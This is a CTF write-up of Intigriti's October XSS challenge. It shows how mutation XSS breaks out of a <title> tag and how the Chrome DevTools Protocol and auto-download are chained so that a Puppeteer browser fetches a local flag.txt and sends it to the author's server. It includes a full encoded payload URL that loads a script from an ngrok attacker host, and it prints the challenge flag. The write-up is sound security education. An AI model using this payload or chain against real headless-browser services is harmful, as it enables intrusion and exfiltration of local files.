Hey fellow hackers! 🎩💻 Ready for a wild ride into the world of XSS and hacking? In this Intigriti’s October XSS challenge writeup, we’ll navigate through twists, turns, and a bunch of cat-related questions to reveal the precious flag! 🐱🚩
Let’s dive into the solution!
This challenge introduces the concept of mutation XSS. The participant must inject a script into the vulnerable endpoint, initiating a chain of events that breaks out of the <title>
tag in the browser instance of Puppeteer. The entry point was this specific endpoint: https://challenge-1023.intigriti.io/api/report?url=/, which allowed entering a custom-encoded payload to target the browser instance. With the absence of SOP and specific security flags in check, it was possible to make the browser download and navigate to a hosted script that triggered the extraction of the remote flag.txt
file upon access.
Now that you’ve stepped into the challenge landscape, let’s shed light on the hints generously shared by Intigriti through their Twitter account.
The journey begins with a text-based nugget:
“Have you noticed any difference in title parsing between client/server?”
Oh, the intrigue! This hint whispered about a clandestine affair between the client and server, specifically in title parsing.
Decoding the Hint:
<%- title %>
) on the server in header.ejs
rendered a dynamic HTML version when fed with broken input. Uncover the parsing discrepancy, and you’re on the brink of mutation XSS (mXSS) enlightenment.</title>
tag, it was possible to inject scripts into the page as illustrated in the image above.Now we can inject and control anything from the browser! Can’t we?
They said, throwing us a link to the Chrome Developer Protocol (CDP):
“Let’s keep this one short and sweet…”
Sweet indeed! A seemingly innocent link that opened the door to a rabbit hole of possibilities!! 😱
Decoding the Hint:
GET /json
(to check for port) and PUT /json/new?${url}
(to open a file).But what do we do with that information? Here comes the last hint!
We’d like to apologize for the downtime, so please take this free hint 💜
And then, a meme! A picture is worth a thousand words, they say. In the upper part, a man says “NO” to “Manual download,” and in the bottom part, a resounding “YES” to “Auto download.”
Decoding the Hint:
Content-Disposition: attachment
to make the Chromium browser download them automatically regardless of the extension.file://
protocol (using the second hint’s discovery), and bingo! A fetch request from it could now breach the Docker instance’s filesystem.It’s time to glue everything together!
Get ready for the magic! Our scripts are the key to the victory flag. See the full repository here.
The party starts with page_404.js
, orchestrating the exploit dance. It quickly cracks Puppeteer’s port, initiating the auto-download of fetcher.html
for local file extraction without letting the browser close.
Meet the fetcher, the hero fetching the flag and sending it to our local server. This script plays a crucial role in the exploit. fetcher.html
grabs the flag and sends it to our server. A simple script with a grand mission!
Last but not least, our server script (index.js
). It runs the show, coordinating the exploit and ensuring a smooth operation. Keep the server humming during the payload.
There you have it, the dynamic trio of scripts that sets up the payload! 🚀
Now, let’s briefly dissect the exploit’s payload that requires no user interaction.
This payload targets the endpoint https://challenge-1023.intigriti.io/api/report?url=
and utilizes two main parameters: src
and startPort
.
https://challenge-1023.intigriti.io/api/report?url=/<svg><b id="<%2526%2523x2f%253btitle><script src='https:%2526%2523x2f%253b%2526%2523x2f%253ba9b1-191-45-70-141.ngrok-free.app%2526%2523x2f%253bpage_404.js'><%2526%2523x2f%253bscript>">?startPort=40000
Let’s break it down:
<svg><b id="
, introducing a closing </title>
tag, a following <script>
tag, a closing >"
and a query parameter. For the payload to work, it was needed to encode any slashes present in it by HTML encoding /
-> /
-> URL encoding twice -> %2526%2523x2f%253b
.src
attribute pointing to a remote server (change it to yours) hosting the scripts. This script is our entry point into the puppeteer exploit and the flag can be visualized from that same server.startPort
, which typically varies between 30000 and 45000 (but in theory varies from 1 to 65535), and is used as an initial estimation of the puppeteer port at where the browsers run. The exploit involves an iterative process, maybe requiring multiple attempts to identify the correct port and extract the flag.I’ve crafted an iterative script to bring a touch of automation to the port extraction. After configuring your server, simply hit up /solve
and the script autonomously tests various ports to pinpoint the right one.
💡 Tip: Clone the repository then execute
npm i && npm start
andngrok http 3001
in another tab to host the server.
For an in-depth dive into the magic behind automated port-guessing, check out the code documentation.
And as the grand finale, the flag awaits: INTIGRITI{Pupp3t3eR_wIth0ut_S0P_LFI}
Man, what a ride! We plunged deep into this challenge, messing with mutation XSS and puppeteer tricks. We threw in scripts, set off auto-downloads, and played around with the CDP. It’s more than just hunting for a flag; it’s been a crazy journey. Every clue, stumble, and “aha” moment brought us together. It’s not just about the swag; it’s the thrill, the joy of beating challenges and vibing with the Intigriti community. ❤️🚀